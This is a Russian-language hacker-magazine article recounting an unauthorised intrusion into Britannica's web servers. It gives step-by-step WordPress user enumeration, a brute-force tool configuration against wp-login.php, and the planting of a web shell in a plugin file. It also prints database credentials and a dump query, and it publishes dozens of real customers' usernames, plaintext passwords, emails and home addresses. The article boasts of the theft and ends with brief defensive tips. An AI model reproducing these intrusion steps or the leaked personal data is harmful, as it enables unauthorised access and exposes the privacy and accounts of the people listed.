Энциклопедия Британника, созданная шотландскими просветителями - гравером Эндрю Беллом и печатником Колином Макфаркаром - это старейшая и наиболее полная энциклопедия на английском языке, первые тома которой были изданы в далеких 1768-1771 годах. Сайт Британники впервые увидел свет в 1995 году, а в данное время вплотную приближается по возможностям ко всем известной Википедии.

Я просто не смог пройти мимо этого эпохального труда и попробовал взглянуть на онлайновую Британнику немного глубже, чем ее обычные пользователи.

 

Знание - сила

Зная, что любое энциклопедическое изыскание начинается ab ovo, я зашел на главную страницу Британники, расположенную по адресу britannica.com (или eb.com). Первая ссылка, которая меня заинтересовала, незатейливо называлась Blog и вела на britannica.com/blogs. Открыв исходник данной страницы, я пришел в восторг, так как там гордо красовалась следующая надпись:

<meta name="generator" content="WordPress 2.2" />

Но, как и следовало ожидать, админы Британники оказались не такими уж и простаками: хотя версия движка и была крайне древней, все известные уязвимости в ней были хорошо пропатчены, так что оставалось только продолжать поиски.

Следующим моим шагом был, конечно же, Гугл: "inurl:britannica.com filetype:php". Походив часа два по ссылкам и снова ничего интересного не найдя, я все же решил заняться Вордпрессом.

 

Грубая сила

Немного поразмыслив, я задумал коварный план по подбору пароля в админскую часть Вордпресса с помощью банального брутфорса. Для осуществления данного плана требовались действительные логины пользователей, которые можно было собрать с помощью известного бага движка: переходим по ссылке britannica.com/blogs/?author=[N] ([N] - это ID нужного пользователя) и наблюдаем логин в тайтле страницы. Подставив по порядку несколько ID, я узнал, что на блоге присутствуют следующие юзеры:

admin
mlevy
dhoiberg
jluebering
jhennelly
whosch
kkuiper
tpappas
rmchenry
gmcnamee
rhorrow
tom
bcosgrave
tgallagher
rmurraythomas
jennifer
ksparks
aguttmann
jmaguire
rwilson

Но логины - это только полдела, необходимо было найти еще и пароли к ним :). Для этого я воспользовался ранее упоминавшейся на страницах рубрики ][-Tools программой WBF.Gold.

Для начала процесса брутфорса нужно настроить прогу в разделе "Параметры":

Хост/обработчик формы: http://www.britannica.com/blogs/wp-login.php
Метод атаки: POST
Атрибуты Submit-кнопки: Name=wp-submit, Value=Login
Имена полей идентификаторов: поле "Логин"=log, поле "Пароль"=pwd
Индикация успешного входа: отсутствие текста input type="password"

Для начала я скачал несколько объемных словарей и начал последовательную атаку по первому аккаунту с помощью сразу нескольких запущенных одновременно копий брутфорса. Спустя какое-то время я увидел, что успешно сбрутился аккаунт mlevy с паролем London :). Дело оставалось за малым - залогиниться в админку и залить шелл, чем я и занялся.

 

Проникновение

Итак, зайдя в britannica.com/blogs/wp-admin и убедившись, что юзер mlevy обладает правами администратора, я поспешил проследовать в раздел "Plugins". Здесь мне снова повезло - все плагины обладали правами на запись, так что я открыл файл akismet/akismet.php и записал в него свой веб-шелл.

Теперь нужно было изучить сервер на предмет всяческих интересностей. Для этого я зашел в свой шелл с помощью кодового слова (britannica.com/blogs/?britan) и стал смотреть на список файлов и директорий веб-сервера в корне (/apps/docs):

account-443
account-80
benandbella
bindia
blog.qa.tar.bz2
catalog
category-template.php
contributor
corporate-80
dead.letter
deprecated_site_pages-80
dev-blog-wp22.zip
failover
form01-80
forms01-80
gcoop-80
help-80
httpd-advocacy
httpd-safe-443
https-199
....
wordpress-blog-80
wppingback-80
www-80

На сервере находились служебные файлы различных внутренних разделов и поддоменов Британники (которые, впрочем, были для меня не так интересны, как доступы к базам данных):

/apps/docs/wordpress-blog-80/blogs/wp-config.php:

define('DB_NAME', 'blogs'); // The name of the database
define('DB_USER', 'wordpress'); // Your MySQL username
define('DB_PASSWORD', 'gutenberg5!'); // ...and password
define('DB_HOST', 'blogs.db'); // 99% chance you won't need to change this value

/apps/docs/bindia/codelibrary/inc/connection.php:
$dbConn = pg_pconnect("host=bi.db port=5432 dbname=bi user=bi password=bi");

С помощью первого доступа я легко слил e-mail'ы, логины и пароли пользователей блога (обрати внимание, интересные пароли у британских книголюбов: Иоганн Гутенберг - это изобретатель книгопечатания), а вот для второго мне пришлось заливать уже знакомый тебе WSO веб-шелл, который умеет работать с базами данных PostgreSQL.

 

Индийская Британника

Подконнектившись к bi.db, я сразу же приступил к изучению содержимого БД нашего юзера: postgres, ihop, bi, aasl, site, ebtimeline, bil. Первые интересности обнаружились в таблице tbl_order_master, где находились следующие столбцы:

order_id
order_number
order_date
uid
order_status
bill_name
bill_address
bill_phone
bill_email
ship_name
ship_address
shipp_phone
shipping_chrages

и записи с адресами некой доставки:

Адрес платежа: 55-56, Udyog Vihar, Gurgaion Phase IV, Gurgaon, Gurgaon, India
Телефон: 9810040499
E-mail: kaushik@britannicain.com
Aдрес доставки: 55-56, Udyog Vihar, Gurgaion Phase IV

Здесь домен britannicain.com (который, кстати, не работает) навел меня на мысль, что название базы "bi" - это аббревиатура от Britannica India. Собственно, с этим запросом в Гугле я и узнал, что взломал целое индийское отделение Британники, располагающееся по адресу britannicaindia.com и по пути /apps/docs/bindia на нашем сервере.

Сам ресурс britannicaindia.com позволяет жителям Индии заказывать различные продукты издательства Encyclopaedia Britannica (книги и CD/DVD), так что оставалось только найти более подробную инфу о покупателях в базе данных.

Понятно, что узнав адрес одного из ресурсов, которые лежат на похеканном сервере, я сразу же захотел посмотреть на остальные сайты с помощью известного ReverseIP-сервиса yougetsignal.com/tools/web-sites-on-web-server:

advocacy.britannica.com
benandbella.eb.com
britannicaindia.com
corporate.britannica.com
corporate.eb.com
forms01.britannica.com
help.eb.com
info.eb.com
newsletter.eb.com
newsletters.britannica.com
partners.britannica.com
sales.britannica.com
statistics.eb.com
store.britannicaindia.com
support.britannica.com
universal.eb.com
www.apps.eb.com
www.britannicaindia.com

Как видишь, список оказался довольно-таки интересным. Но оставим его на потом, и вернемся к нашим индийским друзьям :).

 

Индийский магазин

Далее в той же базе данных я открыл таблицу tbl_register, содержащую 9 470 записей. Здесь для меня открылось чарующее зрелище: подробнейшие данные обо всех кастомерах Британники, а в качестве бонуса - кристально чистые пароли в плейн-тексте (уже в который раз замечаю, что серьезные ресурсы сильно не заморачиваются о шифровании важных данных пользователей).

Вот лишь некоторые из таких данных:

Honie:rose:harpritkaur@hotmail.com:D-6/13, Vasant Vihar
ritesh:rockrover:riteshroxy@yahoo.com:sun power flats g block s.f.-4 memnagar
pioneer:pravyogi:pravin_hande@rediffmail.com:bhau daji road
ganguly:goa@calcutta:ganguly_sumam@yahoo.com:24, ali chirag lane,
muthana:pretty:muthana@vsnl.com:12 Sarat Chatterjee Avenue
anurup:mitali:anurup_m@vsnl.com:Surasree 24A, Lake View Road
superbat393:scurvycur:superbat_393@yhaoo.co.uk:12,T.S.Krishna nagar extn,mogappair
SuyashAnand:999999999:suyashanand@yahoo.com:xyz
champakali:mypczenith:bbsr@lnsel.com:cuttack
sim00:7020557:sim00@rediffmail.com:125 sainik vihar
arka:arkaarka:kaaraak@yahoo.com:catia
anilpost:bathinda:anilpost@hotmail.com:2242, urban estate phase-ii
k_dasgupta:mampu:k_dasgupta@hotmail.com:PO Box 72
madhu:rama:ureply@rediffmail.com:6576
satyajitpani:silusilu:satyajit_pani@msn.com:cuttack chandi cuttack
ramkishore:bansal123:ramkishore@vsnl.com:235, Katra Peran, Tilak Bazar
rjana:1234:rjana@vsnl.net:haldia
rakov2000:rakov2000:xaldinx@gmail.com:&3/2, Krishna Nagar
padma:suhana:padma@ebindia.com:B-2/171, Sfdarjang Enclave
manish:purohit:manish@manishpurohit.com:d-77 Panchsheel Enclave
thomas:thomas:thomas@britannicain.com:l-86 madangir
RajuV:plsGOD:vraju3@emirates.net.ae:AYDJA PO BOX 25
vikram:krishnaaa:vikram@britannicain.com:c-266,sarita vihar

Тысячи подобных записей я извлек с помощью нехитрого запроса "SELECT username||chr(58)||password||chr(58)||email||chr(58)||address FROM tbl_register LIMIT 30 OFFSET 0".

Для теста я решил залогиниться по адресу britannicaindia.com/registration.php с помощью рандомного аккаунта vinay_75a;13041974, что, естественно, у меня сразу же получилось. Имея доступ к любому из аккаунтов магазина индийской Британники, можно было заказать очень много бумажных или мультимедийных копий данной энциклопедии на любые почтовые адреса :). Но я не стал заниматься таким непотребством, а всего лишь бережно слил дамп с пользователями к себе на дедик.

 

Заключение

Напоследок я решил еще немного походить по PostgreSQL базам данных. Как это не удивительно, но в некой базе bil в таблице users также оказались незашифрованные пароли:

gabie;springsprung
tea;tea
mwiechec;password
sabis123!;sabisimages
erc123!;ercimages
kossuth;kossuth123!

и так далее.

Поразившись такому халатному отношению к своим же собственным юзерам, я слил все доступные данные, а также скачал исходники всех сайтов-поддоменов Британники с ReverseIP-сервиса. После неудачной попытки порутать пропатченную машинку я удалил все свои шеллы и написал админам на мыло, чтобы они внимательнее относились к своим паролям и, соответственно, пользователям.

Тебе же я в очередной раз могу посоветовать не смотреть на историю и размах любого онлайн-проекта, а просто немного глубже вглядеться его структуру. Быть может, именно ты будешь тем человеком, кто найдет знаменательный баг в какой-нибудь... Википедии :).

 

INFO

Если ты являешься разработчиком какого-либо движка или администратором крупного проекта, советую тебе оглянуться на безалаберных владельцев Британники и не повторять следующих ошибок:

  1. Не забывай обновлять паблик-движки до самых последних версий.
  2. Никогда не сохраняй личные данные пользователей в открытом виде.
  3. Никогда не позволяй непривилегированному пользователю веб-сервера (apache в данном случае) быть владельцем важных файлов системы.
  4. Никогда не ставь простых паролей, а также используй рандомные пароли для различных сервисов.

  • Подпишись на наc в Telegram!

    Только важные новости и лучшие статьи

    Подписаться

  • Подписаться
    Уведомить о
    0 комментариев
    Межтекстовые Отзывы
    Посмотреть все комментарии